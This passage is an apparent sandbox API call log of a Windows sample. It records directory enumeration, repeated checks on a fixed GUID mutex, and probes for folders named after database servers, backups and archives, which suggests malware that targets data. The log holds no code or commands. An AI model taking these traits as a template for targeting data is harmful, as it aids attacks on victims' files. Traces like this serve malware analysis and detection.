lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.803] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d2c81e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d2c81e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.803] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.803] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.804] GlobalLock (hMem=0x440004) returned 0x553188 [0046.804] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.804] GlobalUnlock (hMem=0x440004) returned 0 [0046.804] GlobalLock (hMem=0x440004) returned 0x553188 [0046.804] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.804] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.804] GlobalUnlock (hMem=0x440004) returned 0 [0046.804] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.804] GlobalUnlock (hMem=0x44000c) returned 0 [0046.804] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.804] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0046.804] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.804] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.804] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.804] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.804] GlobalUnlock (hMem=0x44000c) returned 0 [0046.804] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.804] GlobalLock (hMem=0x440004) returned 0x555198 [0046.804] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.804] GlobalUnlock (hMem=0x44000c) returned 0 [0046.804] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.804] GlobalUnlock (hMem=0x440004) returned 0 [0046.804] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.804] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0046.804] GetLastError () returned 0x12 [0046.804] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0046.805] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.805] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.805] GlobalLock (hMem=0x440004) returned 0x552180 [0046.805] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.805] GlobalUnlock (hMem=0x440004) returned 0 [0046.805] GlobalLock (hMem=0x440004) returned 0x552180 [0046.805] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.805] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.805] GlobalUnlock (hMem=0x440004) returned 0 [0046.805] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.805] GlobalUnlock (hMem=0x44000c) returned 0 [0046.805] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.805] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0046.805] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.805] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.805] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.805] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.805] GlobalUnlock (hMem=0x44000c) returned 0 [0046.805] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.805] GlobalLock (hMem=0x440004) returned 0x554190 [0046.805] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.805] GlobalUnlock (hMem=0x44000c) returned 0 [0046.805] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.805] GlobalUnlock (hMem=0x440004) returned 0 [0046.805] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.806] GlobalLock (hMem=0x440004) returned 0x552180 [0046.806] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.806] GlobalUnlock (hMem=0x440004) returned 0 [0046.806] GlobalLock (hMem=0x440004) returned 0x552180 [0046.806] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.806] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.806] GlobalUnlock (hMem=0x440004) returned 0 [0046.806] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.806] GlobalUnlock (hMem=0x44000c) returned 0 [0046.806] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.806] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad", len=0x4a | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad") returned 1 [0046.806] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.806] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.806] GlobalUnlock (hMem=0x44000c) returned 0 [0046.806] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.806] GlobalLock (hMem=0x440004) returned 0x554190 [0046.806] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.806] GlobalUnlock (hMem=0x44000c) returned 0 [0046.806] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.806] GlobalUnlock (hMem=0x440004) returned 0 [0046.806] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\") returned 26 [0046.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⠎R⟢R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0046.806] GetLastError () returned 0x3 [0046.807] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.807] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.807] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0046.815] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@❌R企@\x18㽜Q\x181")) returned 0xffffffff [0046.815] GetLastError () returned 0x2 [0046.815] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0046.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⊤R企@\x18?T\x18;")) returned 0xffffffff [0046.816] GetLastError () returned 0x2 [0046.816] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0046.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@ꟌR企@\x18?T\x18D")) returned 0xffffffff [0046.816] GetLastError () returned 0x2 [0046.816] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0046.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0046.817] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@❌R企@\x18⊤R\x18j")) returned 0xffffffff [0046.817] GetLastError () returned 0x2 [0046.817] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0046.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0046.817] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⡄R企@\x18?T\x18q")) returned 0xffffffff [0046.817] GetLastError () returned 0x2 [0046.818] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.818] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\⊠Rà") returned 6 [0046.818] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0046.818] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⤼R企@\x18?T\x18y")) returned 0xffffffff [0046.819] GetLastError () returned 0x2 [0046.819] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.819] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0046.819] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0046.819] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@ꟌR企@\x18?T\x18\x81")) returned 0xffffffff [0046.819] GetLastError () returned 0x2 [0046.819] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.819] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0046.819] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0046.819] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⡄R企@\x18?T\x18\x88")) returned 0xffffffff [0046.820] GetLastError () returned 0x2 [0046.820] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.820] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0046.820] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0046.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⤼R企@\x18?T\x18\x8f")) returned 0xffffffff [0046.820] GetLastError () returned 0x2 [0046.820] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.820] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0046.820] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0046.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@ꟌR企@\x18?T\x18\x97")) returned 0xffffffff [0046.821] GetLastError () returned 0x2 [0046.821] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.821] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0046.821] GlobalLock (hMem=0x440004) returned 0x552180 [0046.821] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.821] GlobalUnlock (hMem=0x440004) returned 0 [0046.821] GlobalLock (hMem=0x440004) returned 0x552180 [0046.821] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.821] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.821] GlobalUnlock (hMem=0x440004) returned 0 [0046.821] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.821] GlobalUnlock (hMem=0x44000c) returned 0 [0046.821] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.821] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.821] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0046.821] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.821] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.821] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0046.822] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.822] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.822] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0046.822] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b 